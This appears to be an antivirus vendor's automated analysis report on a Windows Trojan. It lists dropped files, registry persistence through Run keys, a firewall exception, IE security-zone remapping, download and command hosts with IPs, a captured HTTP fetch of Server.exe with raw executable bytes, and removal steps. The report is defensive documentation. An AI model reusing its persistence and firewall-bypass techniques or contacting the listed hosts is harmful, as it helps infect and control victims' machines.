Gen.Variant.Barys.20425_7cfc6dfbc9

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

Application DatawLXfdPQMGC.exe:824
%original file name%.exe:1696
netsh.exe:1608

The Trojan injects its code into the following process(es):

rundll32.exe:228
server.exe:468

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process Application DatawLXfdPQMGC.exe:824 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\server.exe (74 bytes)

The process %original file name%.exe:1696 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application DatacLlPfYOPAw.jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application DatawLXfdPQMGC.exe (74 bytes)

Registry activity

The process Application DatawLXfdPQMGC.exe:824 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 08 3C 3C 3B ED 90 78 03 31 83 17 86 03 C4 D5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU]
"di" = "!"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"server.exe" = ""

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process %original file name%.exe:1696 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 2E FE 55 FC 41 4F 23 90 C4 09 A9 33 4C 5A 28"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings]
"Application DatawLXfdPQMGC.exe" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"shimgvw.dll" = "Windows Picture and Fax Viewer"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process netsh.exe:1608 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C0 73 E9 53 9A D8 21 D7 01 D3 CA DB 20 C0 D2 3B"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Documents and Settings%\%current user%\Local Settings\Temp]
"server.exe" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe:*:Enabled:server.exe"

The process rundll32.exe:228 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3D 3D C4 41 59 E5 45 DA 8F A4 62 10 DE 69 32 6C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The process server.exe:468 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F6 B0 72 AB 5C D5 55 97 1E B1 42 7C E0 E7 08 1D"

[HKCU\Software\325b83d76017d2cf027ba1f90b42a6f7]
"[kl]" = ""

[HKCU]
"di" = "!"

[HKCU\Environment]
"SEE_MASK_NOZONECHECKS" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."

Dropped PE files

MD5	File path
8fef2d69353fd1c44e14d69bf0155ea1	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application DatawLXfdPQMGC.exe
8fef2d69353fd1c44e14d69bf0155ea1	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\server.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   Application DatawLXfdPQMGC.exe:824
   %original file name%.exe:1696
   netsh.exe:1608
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\server.exe (74 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application DatacLlPfYOPAw.jpg (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application DatawLXfdPQMGC.exe (74 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."
   
   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version: 0.0.0.0
Legal Copyright:
Legal Trademarks:
Original Filename: sara ali66.Scr
Internal Name: sara ali66.Scr
File Version: 0.0.0.0
File Description:
Comments:
Language: English (United States)

Company Name: Product Name: Product Version: 0.0.0.0Legal Copyright: Legal Trademarks: Original Filename: sara ali66.ScrInternal Name: sara ali66.ScrFile Version: 0.0.0.0File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	82308	86016	3.9046	163938cf0d66e6694e4aec1ab2a899ef
.rsrc	98304	271232	274432	4.11493	bfb5d1d16490c1f1bf58c95d0e0a9d12
.reloc	376832	12	4096	0.011373	fe0973a663e9a9a530af80d785ec2d2b

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://samaup.com/do.php?down=11788
hxxp://www.samaup.com/do.php?down=11788	81.94.207.82
anemosajdabya2000.no-ip.org	41.252.194.79

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /do.php?down=11788 HTTP/1.1

Host: VVV.samaup.com

Connection: Keep-Alive

<<< skipped >>>

GET /do.php?down=11788 HTTP/1.1

Host: VVV.samaup.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Fri, 12 Dec 2014 10:19:41 GMT

Content-Type: application/octet-stream

Content-Length: 24064

Connection: keep-alive

X-Powered-By: PHP/5.3.29

Cache-Control: private, no-cache="set-cookie"

Expires: 0

Pragma: no-cache

P3P: CP="CUR ADM"

Content-Encoding: none

Content-Disposition: attachment; filename="Server.exe"

Accept-Ranges: bytes

Set-Cookie: sid=QkeMXEPl8r0P30DK6T5HshmSay5; expires=Sun, 14-Dec-2014 10:19:41 GMT; path=/

Set-Cookie: klj_efdc6_oldvistor=,11788,; expires=Sat, 13-Dec-2014 10:19:41 GMT; path=/; domain=.samaup.com; HttpOnly

Last-Modified: Thu, 25 Sep 2014 17:14:38 GMT

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....$T.................V...........t... ........@.. ....................................@.................................pt..K.......@............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...@............X..............@..@.reloc...............\..............@..B.................t......H.......,K..D)....../....................................................0..........r...p.....r;..p...........rE..p.....r[..p.....re..p.....r...p.....r...p.....r...p.....r...p(.........r...p(.........r...p(.........r...p(.........(....o....s.........s.....................r...p...........s....0..........( ....Po-...*....0..e........s.......s/.............o0....j.o1.......o2...&..(3.......jo1....................o4...&.o5....o5....*....0..>............d(6.......d......d(....,...........1...%(.....(.......*.*..........,,.......0..].......(......~7...(8...,.rg..p..@.(9...(......(6........o(...(....&..(.......%(.....rg..p.(.......*...........GG.......0..T.......r=..p(:...rU..p(...............................(....&.(;......%(.....rY..p.(.......*........>>.......0..n........(<...o=....... T......o>........ 6.......o?...ra..p.(....o@...,..oA....o?...oB...*............2..........2..*..(....*...0..w........oC...oD....oC...oD....(E.......*.oF.....oF.....oG...oD....oG...oD....(E......-..*.oH.....oH.

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

rundll32.exe_228:

.text

.text

`.data

`.data

.rsrc

.rsrc

msvcrt.dll

msvcrt.dll

KERNEL32.dll

KERNEL32.dll

NTDLL.DLL

NTDLL.DLL

GDI32.dll

GDI32.dll

USER32.dll

USER32.dll

IMAGEHLP.dll

IMAGEHLP.dll

rundll32.pdb

rundll32.pdb

.....eZXnnnnnnnnnnnn3

.....eZXnnnnnnnnnnnn3

....eDXnnnnnnnnnnnn3

....eDXnnnnnnnnnnnn3

...eDXnnnnnnnnnnnn,

...eDXnnnnnnnnnnnn,

.eDXnnnnnnnnnnnn,

.eDXnnnnnnnnnnnn,

%Xnnnnnnnnnnnnnnn1

%Xnnnnnnnnnnnnnnn1

O3$dS7"%U9

O3$dS7"%U9

.manifest

.manifest

5.1.2600.5512 (xpsp.080413-2105)

5.1.2600.5512 (xpsp.080413-2105)

RUNDLL.EXE

RUNDLL.EXE

Windows

Windows

Operating System

Operating System

5.1.2600.5512

5.1.2600.5512

YThere is not enough memory to run the file %s.

YThere is not enough memory to run the file %s.

Please close other windows and try again.

Please close other windows and try again.

9The file %s or one of its components could not be opened.

9The file %s or one of its components could not be opened.

0The file %s or one of its components cannot run.

0The file %s or one of its components cannot run.

MThe file %s or one of its components requires a different version of Windows.

MThe file %s or one of its components requires a different version of Windows.

UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"

UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"

Error in %s

Error in %s

Missing entry:%s

Missing entry:%s

Error loading %s

Error loading %s